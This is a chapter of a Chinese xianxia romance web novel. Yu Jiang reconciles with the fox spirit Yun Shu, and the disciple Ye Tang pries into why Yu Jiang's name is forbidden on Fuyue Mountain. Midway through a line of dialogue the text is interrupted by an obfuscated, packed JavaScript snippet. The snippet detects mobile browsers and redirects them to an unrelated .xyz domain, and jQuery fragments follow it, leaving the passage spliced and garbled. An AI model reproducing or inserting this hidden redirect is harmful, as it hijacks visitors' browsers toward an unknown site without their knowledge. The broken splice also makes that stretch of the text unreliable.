她捏他的耳,而他非但不应声,反而将脸更深地低了下去。
这狐狸决心不开口的时候,无论玉姜说什么做什么,都不会从他嘴里撬出半个字来。
大概是真将人气坏了……
“云述,你的狐耳好软。”
她决定夸一夸。
事实证明,这样的夸赞对于云述而言丝毫不起作用。他任她施为,却连眼皮都没抬一下。
分明平素那般高挑,一袭暗纹雪衣长身玉立,饶是玉姜见惯了人间绝色,也忍不住要赞一句如圭如璋。此时,他却是截然不同,以这副样子缩在角落里,眸中没了生动明亮的神采,让人忍不住心生怜意。
“云述。”
“……”
“你当真不理我?”
“……”
回想过往那些年,玉姜仗着师父的纵容,颇有些无法无天。即使将天捅个窟窿出来,她也绝不认错,更遑论哄人。
没做过的事,尝试起来,生疏得让她浑身别扭。
玉姜自认做不了太有耐心的人。
她抿唇笑得温柔,眼眸也是清澈透亮,掌心轻轻抚着狐狸的背脊,说出口的话却是威胁:“再不接话,扔你进玄墟海喂鱼,说到做到。”
还是没应声。
过了一会儿,他化回了人身。
烛火朦胧的角落中,他鬓发蓬松微乱,瞧着竟给人很是好欺负的感觉。玉姜想,这应当是方才玉姜拢狐狸毛时拨乱的。
短暂的相对无言之后,是云述先打破了僵持:“还生气吗?”
“啊?”
玉姜愣了愣,这才恍然明白,他变回狐狸缩成一团在角落处,不是因为被她的态度所伤而赌气。
竟是在等她。
因她说想看,他便化回原身,试图让她消气。
此人的脾性未免柔和得太过了一些。
这逆来顺受的脾气,倒像是玉姜在欺负他了……
话到嘴边她又咽了回去,转而道:“不行,我还没看够呢,你变回去!”
云述牵动唇角,摇头:“只这一次。”
玉姜一心想着如何哄,压根没想到此人就没气性,错失了先发制人的机会。
她道:“小气,没有诚意。”
“那等下回……”
没等云述说完,玉姜便忍不住打断了他的话,斥道:“今日之事你还想有下回?云述,你知道噬魔渊对你的危害吧?我好不易给你续了命,不是让你随意挥霍的。动用才恢复不久的灵力,你会死的!我可不想让无落剑平白沾上无辜人的性命。”
“记住了。”
“你记住什么了?”
云述道:“性命最重要,我记住了。”
分明是她迁怒于人说重了话,可却是他来哄人。偏生他又生了这样一副漂亮的皮囊,似乎无论他说什么,都会值得旁人相信。
玉姜不知觉地心软了。
怪不得仙门中这么些年,没听说过有收些狐狸精入门内修习。想来也是怕这些,怕他就这么无辜地说两句,就让人忍不住偏心。
玉姜着实不想再为此事分辩不休,正打算回去,没先到云述起身追了过来,半是迟疑地说:“其实,初见那日,你唤的那一声,我听到了。”
“什么?”玉姜记不清了。
云述道:“沈晏川。”
她的动作滞住了,回眸望着他的眼睛。
云述继续说:“白梅树上悬着的那只铜铃,也有他的灵息相护。同为浮月山之人,我不会记错。还有无落剑,剑穗上镶嵌的那颗珠玉上,有沈字。”
有沈字?
玉姜却不知这件事。
昔日,沈晏川送过她许多东西。离开浮月时她毁去一些,却不成想,沈晏川竟还动过她的剑。
她低头唤出无落,轻轻抚动剑穗,最后坚决地扯下,抛给云述,声音清冷:“现在没有了。”
“他……”
“我不想提旧事。”
云述不再多问,道:“你不想说,我就不问。”
玉姜出去之后,他低头转动那颗珠玉。
上面的沈字颜色极淡,若非仔细去看,几乎很难发觉。她不知晓,也在常理之中。
自他入噬魔渊以来,玉姜旁敲侧击地向他打听了许多浮月中的现状。从元初问到许映清,甚至连那几个仙法不精的外门子弟都问了。
唯独没提过这个沈晏川。
他作为浮月首徒,玉姜不可能不认得。
加之莫名出现在噬魔渊的白梅树,以及其上悬挂着的铜铃,绝非巧合。
若是没猜错,玉姜身在此处,当与那人有着千丝万缕的关系。
他恢复灵力当日便试过,早先设下的噬魔渊结界早已随着时日渐长而削弱。如今的结界,是有人特意加固过的。
若真如此……
云述仰面看向噬魔渊的天际,扬唇一笑:“若真如此,或许没那么牢不可破。”
*
浮月台之下,几名弟子在洒扫之余,凑在一处不知在说些什么悄悄话。说到起劲处,不时发出嘁嘁的笑声与唏嘘声。
叶棠刚从学舍出来,站在他们背后不远处,隐约听到了沈晏川的名字。
仔细便能听出来不是什么好话。
“咳。”
那几名弟子闻声惊动,握着扫帚不敢擅动了。
浮月山中弟子众多,叶棠资历尚轻,可是沈晏川却很是器重她。她也争气,早早通过考核入了内门,成了沈晏川的臂膀。
即使她只是师妹,其余人也不敢不小心谨慎对待。
叶棠才随沈晏川从华云宗回来,没来得及换上弟子服饰,只穿了一件赪紫长裙,走近前去,面色不虞:“大师兄是你们可以私下妄议的吗?”
“不敢了不敢了,闲谈罢了。师妹,你可千万别跟师兄说。”
想起前段时日在华云宗中罗时微说过的话,叶棠还是心生疑虑,这么久以来都放不下。
与其胡思乱想,倒不如趁今日问个清楚。
她牵出一个笑意,道:“师兄们。”
叶棠往他们跟前凑,小声问:“你们听过玉姜这个名字吗?”
玉姜这两字刚说出口,那几人便脸色骤变,连手中的扫帚都没拿稳,直接脱手掉在了地上。
其中一人结巴着问:“你哪里听……”
另一人却拦了他,直接对叶棠说:“我们不认得,也未曾听过。”
如此欲盖弥彰,必定有问题。
若非撬不开沈晏川的嘴,叶棠也不必想着法子旁敲侧击。
见状,她转身欲走:“那我就告诉大师兄你们私下里嘴碎,说他坏话,让他好好罚你们。”
“师妹!”
“你……你还是别问。”
叶棠重新走回来,道:“我只是想知道,玉姜是谁。为什么你们一个两个的都闻之色变。”
那人还是为难,终于不再遮掩,解释道:“不是我们不肯说。她的名字是浮月山的禁令,在你还未入山之前,便已经不许提及了。谁若说了,那可是犯禁,要被逐出浮月山的。”
“谁下的禁令?”
“大师兄啊。”
果然是与他有关的。
难怪那日罗时微很激动,对沈晏川丝毫不留情面,在听说她不认得谁是玉姜时那般生气。
深吸了一口气,叶棠道:“你们若不说,我直接去问大师兄了。”
“哎!哎!别!”
那人几步追了过去,慌忙拦住了冲动的叶棠,劝道:“你千万别去。我……哎,玉姜是……她,她是我们的师姐。”
“既是师姐,有何说不得?”
另一人小声说:“她是师姐不错,可是她修幽火邪术,堕魔了。大师兄与她曾经情谊甚笃,后来却亲眼见她走上不归路。如此一来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002021|161802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,大师兄心中定是不好受的。你千万不要去找他主动提这伤心事。师兄们是为你好,不然惹上麻烦你都不知道。”
叶棠在沈晏川身边做事许久了,这些话他却从未提及过。
在去往华云宗的路上,他总是心事重重的,无论如何也放松不了。想来,也是猜定了会遇到罗时微,会被那样奚落一番。
千书阁——
浮月山的千书阁是叶棠最厌恶之地,这些书卷她多看一眼都会头痛。今日却不同,她找了个借口支使走了看守的弟子,独自一人入内了。
藏着弟子名册的木架有几人高,等闲之人是够不着的。
她捏了诀,其中一册便稳稳落在了掌心。
摊开来看,头一页是云述仙君。
云述的名字之后,出身那一栏竟然没写,是空着的。师父向来细致,绝不会无意漏掉这些。不过仙君的来处也不是她能随意看的,也便不在意。
再翻一页,写了沈晏川的名字,记载了他的生辰以及出身。在拜元初为师之前,他只是一个无家可归的寻常幼子。来处不详,父母不详。
他的名字往下,便是映清师姐。
再往下……
整个名册几乎被叶棠翻到了最后,也未曾找到关于玉姜的只字片语。
即使是被师门除名,也不该连痕迹都没有留下。
总归会记着的。
“应当不是这册……”
叶棠喃喃着,准备重新再取木架上的另一册。
还没等她有所举动,便听得千书阁的门被人推开了。木门年久失修,又因山中潮湿而有了霉斑,早就损坏了。因此这吱呀的一声格外清晰,吓得叶棠匆促往木架后躲。
躲藏之后,叶棠从缝隙中偷偷看过去,不偏不倚和沈晏川的目光相接。
被逮了个正着……
她只好低着头走过去。
沈晏川声音平缓:“拿出来。”
“师兄。”
“拿出来。”
犹豫了一会儿,叶棠才将藏在背后的那卷名册放在了沈晏川的掌心。
看他翻动名册,她心跳得剧烈。
她不熟练地编着谎话:“是映清师姐让我来找弟子名册的,她说了……”
“许映清与我同在纷雪阁听训,我竟不知她还能抽出空来吩咐你做事。”沈晏川连眼皮也没抬。
偏生他越冷淡,叶棠越害怕。
叶棠讪笑着,正盘算着怎么找个合适的借口搪塞过去,谁知却听到了沈晏川接下来的话。
“你想找的,是玉姜的名字?”
沈晏川摊开那本名册,又看了一会儿才将名册扔回了叶棠的怀中,道:“棠棠,你不相信我说的话,却相信罗时微?那我不妨告诉你,你想找的这人早就死了。她的名字是我亲手刮去的,纵使我……万般不舍。”
大师兄向来严肃,此时千书阁冷烛更是给他添了一层看不透的威严。
偷偷来查玉姜之事已然犯了禁,她着实不敢再在沈晏川身侧多待片刻。她低头连声称错,得了沈晏川的准允,她几乎是逃似的出了千书阁,连名册也忘了归位。
不知怎的,她觉得今日的大师兄当真的严肃得可怕。
这口气还没喘匀,她的肩被人轻轻拍了拍。
叶棠吓得一颤,回头发觉是许映清时才松了口气。
许映清途径于此,看她这副模样,好笑地问:“你怎么了?”
叶棠将名册握在手心,往袖中揣了揣,还是克制不了好奇心,问:“映清师姐。”
“嗯?”许映清了解叶棠。
只要她不是语气欢快地唤自己师姐,那必然是有什么重要的事想问。
“你之前说过,你的师姐那样好,大师兄也说他不舍。唯独罗时微一人为她鸣不平,痛恨浮月,不惜下令逐客。我只想知道,她落得声名狼藉的地步,是咎由自取,还是另有原由?”